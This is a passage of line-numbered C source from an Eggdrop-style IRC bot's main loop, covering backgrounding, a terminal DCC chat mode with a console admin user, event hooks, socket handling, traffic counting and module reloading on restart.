  1603. #endif /* CYGWIN_HACKS */
  1604. }
  1605. }
  1606. use_stderr = 0; /* Stop writing to stderr now */
  1607. if (backgrd) {
  1608. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1609. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1610. setpgid(0, 0);
  1611. #endif
  1612. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1613. freopen("/dev/null", "r", stdin);
  1614. freopen("/dev/null", "w", stdout);
  1615. freopen("/dev/null", "w", stderr);
  1616. #ifdef CYGWIN_HACKS
  1617. FreeConsole();
  1618. #endif /* CYGWIN_HACKS */
  1619. }
  1620. /* Terminal emulating dcc chat */
  1621. if (!backgrd && term_z) {
  1622. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1623. dcc[n].addr = iptolong(getmyip());
  1624. dcc[n].sock = STDOUT;
  1625. dcc[n].timeval = now;
  1626. dcc[n].u.chat->con_flags = conmask;
  1627. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1628. dcc[n].status = STAT_ECHO;
  1629. strcpy(dcc[n].nick, "HQ");
  1630. strcpy(dcc[n].host, "llama@console");
  1631. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1632. /* Make sure there's an innocuous HQ user if needed */
  1633. if (!dcc[n].user) {
  1634. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1635. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1636. }
  1637. setsock(STDOUT, 0); /* Entry in net table */
  1638. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1639. dcc_chatter(n);
  1640. }
  1641. then = now;
  1642. online_since = now;
  1643. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1644. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1645. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1646. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1647. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1648. add_hook(HOOK_REHASH, (Function) event_rehash);
  1649. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1650. add_hook(HOOK_USERFILE, (Function) event_save);
  1651. #ifdef HUB
  1652. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1653. #endif /* HUB */
  1654. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1655. add_hook(HOOK_LOADED, (Function) event_loaded);
  1656. call_hook(HOOK_LOADED);
  1657. debug0("main: entering loop");
  1658. while (1) {
  1659. int socket_cleanup = 0;
  1660. /* Process a single tcl event */
  1661. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1662. /* Lets move some of this here, reducing the numer of actual
  1663. * calls to periodic_timers
  1664. */
  1665. #ifdef S_UTCTIME
  1666. now_tmp = time(NULL);
  1667. now = mktime(gmtime(&now_tmp));
  1668. #else
  1669. now = time(NULL);
  1670. #endif /* S_UTCTIME */
  1671. random(); /* Woop, lets really jumble things */
  1672. if (now != then) { /* Once a second */
  1673. call_hook(HOOK_SECONDLY);
  1674. then = now;
  1675. }
  1676. /* Only do this every so often. */
  1677. if (!socket_cleanup) {
  1678. socket_cleanup = 5;
  1679. /* Remove dead dcc entries. */
  1680. dcc_remove_lost();
  1681. /* Check for server or dcc activity. */
  1682. dequeue_sockets();
  1683. } else
  1684. socket_cleanup--;
  1685. /* Free unused structures. */
  1686. garbage_collect();
  1687. xx = sockgets(buf, &i);
  1688. if (xx >= 0) { /* Non-error */
  1689. int idx;
  1690. for (idx = 0; idx < dcc_total; idx++)
  1691. if (dcc[idx].sock == xx) {
  1692. if (dcc[idx].type && dcc[idx].type->activity) {
  1693. /* Traffic stats */
  1694. if (dcc[idx].type->name) {
  1695. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1696. itraffic_bn_today += strlen(buf) + 1;
  1697. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1698. itraffic_irc_today += strlen(buf) + 1;
  1699. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1700. itraffic_dcc_today += strlen(buf) + 1;
  1701. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1702. itraffic_dcc_today += strlen(buf) + 1;
  1703. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1704. itraffic_trans_today += strlen(buf) + 1;
  1705. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1706. itraffic_trans_today += strlen(buf) + 1;
  1707. else
  1708. itraffic_unknown_today += strlen(buf) + 1;
  1709. }
  1710. dcc[idx].type->activity(idx, buf, i);
  1711. } else
  1712. putlog(LOG_MISC, "*",
  1713. "!!! untrapped dcc activity: type %s, sock %d",
  1714. dcc[idx].type->name, dcc[idx].sock);
  1715. break;
  1716. }
  1717. } else if (xx == -1) { /* EOF from someone */
  1718. int idx;
  1719. if (i == STDOUT && !backgrd)
  1720. fatal("END OF FILE ON TERMINAL", 0);
  1721. for (idx = 0; idx < dcc_total; idx++)
  1722. if (dcc[idx].sock == i) {
  1723. if (dcc[idx].type && dcc[idx].type->eof)
  1724. dcc[idx].type->eof(idx);
  1725. else {
  1726. putlog(LOG_MISC, "*",
  1727. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1728. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1729. killsock(i);
  1730. lostdcc(idx);
  1731. }
  1732. idx = dcc_total + 1;
  1733. }
  1734. if (idx == dcc_total) {
  1735. putlog(LOG_MISC, "*",
  1736. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1737. close(i);
  1738. killsock(i);
  1739. }
  1740. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1741. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1742. for (i = 0; i < dcc_total; i++) {
  1743. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1744. putlog(LOG_MISC, "*",
  1745. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1746. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1747. killsock(dcc[i].sock);
  1748. lostdcc(i);
  1749. i--;
  1750. }
  1751. }
  1752. } else if (xx == -3) {
  1753. call_hook(HOOK_IDLE);
  1754. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1755. }
  1756. /* FIXME: do_restart */
  1757. if (do_restart) {
  1758. if (do_restart == -2)
  1759. rehash();
  1760. else {
  1761. /* Unload as many modules as possible */
  1762. int f = 1;
  1763. module_entry *p;
  1764. Function x;
  1765. char xx[256];
  1766. /* oops, I guess we should call this event before tcl is restarted */
  1767. check_tcl_event("prerestart");
  1768. while (f) {
  1769. f = 0;
  1770. for (p = module_list; p != NULL; p = p->next) {
  1771. dependancy *d = dependancy_list;
  1772. int ok = 1;
  1773. while (ok && d) {
  1774. if (d->needed == p)
  1775. ok = 0;
  1776. d = d->next;
  1777. }
  1778. if (ok) {
  1779. strcpy(xx, p->name);
  1780. if (module_unload(xx, botnetnick) == NULL) {
  1781. f = 1;
  1782. break;
  1783. }
  1784. }
  1785. }
  1786. }
  1787. for (f = 0, p = module_list; p; p = p->next) {
  1788. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1789. !strcmp(p->name, "uptime"))
  1790. f = 0;
  1791. else
  1792. f = 1;
  1793. }
  1794. if (f)
  1795. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1796. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1797. /* flushlogs(); */
  1798. kill_tcl();
  1799. init_tcl(argc, argv);
  1800. /* this resets our modules which we didn't unload (encryption and uptime) */
  1801. for (p = module_list; p; p = p->next) {
  1802. if (p->funcs) {
  1803. x = p->funcs[MODCALL_START];
  1804. x(NULL);
  1805. }
  1806. }
  1807. rehash();
  1808. restart_chons();
  1809. call_hook(HOOK_LOADED);
  1810. }
  1811. do_restart = 0;
  1812. }
  1813. }
  1814. }